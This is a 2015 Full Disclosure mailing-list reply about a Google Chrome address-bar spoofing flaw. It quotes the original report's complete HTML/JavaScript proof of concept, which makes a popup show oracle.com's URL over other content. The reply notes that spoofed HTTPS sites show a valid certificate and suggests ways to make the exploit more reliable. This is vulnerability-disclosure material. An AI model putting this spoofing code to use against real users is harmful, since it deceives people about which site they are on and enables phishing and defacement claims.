full-disclosure - Re: [FD] Google Chrome Address Spoofing (Request For Comment)

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Message-Id: <20150702171848.395E573EA@hb.insecure.org>
Date: Thu, 02 Jul 2015 14:33:37 +0100
From: Mustafa Al-Bassam <mus@...albas.com>
To: David Leo <david.leo@...sen.co.uk>
Cc: oss-security@...ts.openwall.com, bugtraq@...urityfocus.com,
	fulldisclosure@...lists.org
Subject: Re: [FD] Google Chrome Address Spoofing (Request For Comment)

That's pretty neat. Played around with this and made a few discoveries.

1. It shows a valid certificate when you spoof HTTPS sites. That's really bad. POC/screenshot: https://github.com/musalbas/address-spoofing-poc

2. The page isn't responsive when using this flaw. That means you can't spoof a login box for example. (I tried.)

3. The success of the exploit seems to depend on if the browser can start loading content.html fast enough. I noticed that the exploit works 100% of the time when used locally. Perhaps a better version of the exploit would somehow preload content.html - for example by opening a window with an URL that starts with javascript: followed by a script to display the content? That, or perhaps reducing the interval time for trying to run next() after the popup is created.

I wonder if this works on any other browsers?

MustafaOn 30 Jun 2015 7:08 am, David Leo <david.leo@...sen.co.uk> wrote:
>
> Impact: 
> The "click to verify" thing is completely broken... 
> Anyone can be "BBB Accredited Business" etc. 
> You can make whitehouse.gov display "We love Islamic State" :-) 
>
> Note: 
> No user interaction on the fake page. 
>
> Code: 
> ***** index.html 
> <script> 
> function next() 
> { 
> w.location.replace('http://www.oracle.com/index.html?'+n);n++; 
> setTimeout("next();",15); 
> setTimeout("next();",25); 
> } 
> function f() 
> { 
> w=window.open("content.html","_blank","width=500 height=500"); 
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5); 
> } 
> </script> 
> <a href="#" onclick="f()">Go</a><br> 
> ***** content.html 
> <b>This web page is NOT oracle.com</b> 
> <script>location="http://www.oracle.com/index.html";</script> 
> ***** It's online 
> http://www.deusen.co.uk/items/gwhere.6128645971389012/ 
> (The page says "June/16/2015" - it works as we tested today) 
>
> Request For Comment: 
> We reported this to Google. 
> They reproduced, and say 
> It's DoS which doesn't matter. 
> We think it's very strange, 
> since the browser does not crash(not DoS), 
> and the threat is obvious. 
> What's your opinion? 
>
> Kind Regards, 
>
> PS 
> We love clever tricks. 
> We love this: 
> http://dieyu.org/ 
>
>
> _______________________________________________ 
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> https://nmap.org/mailman/listinfo/fulldisclosure 
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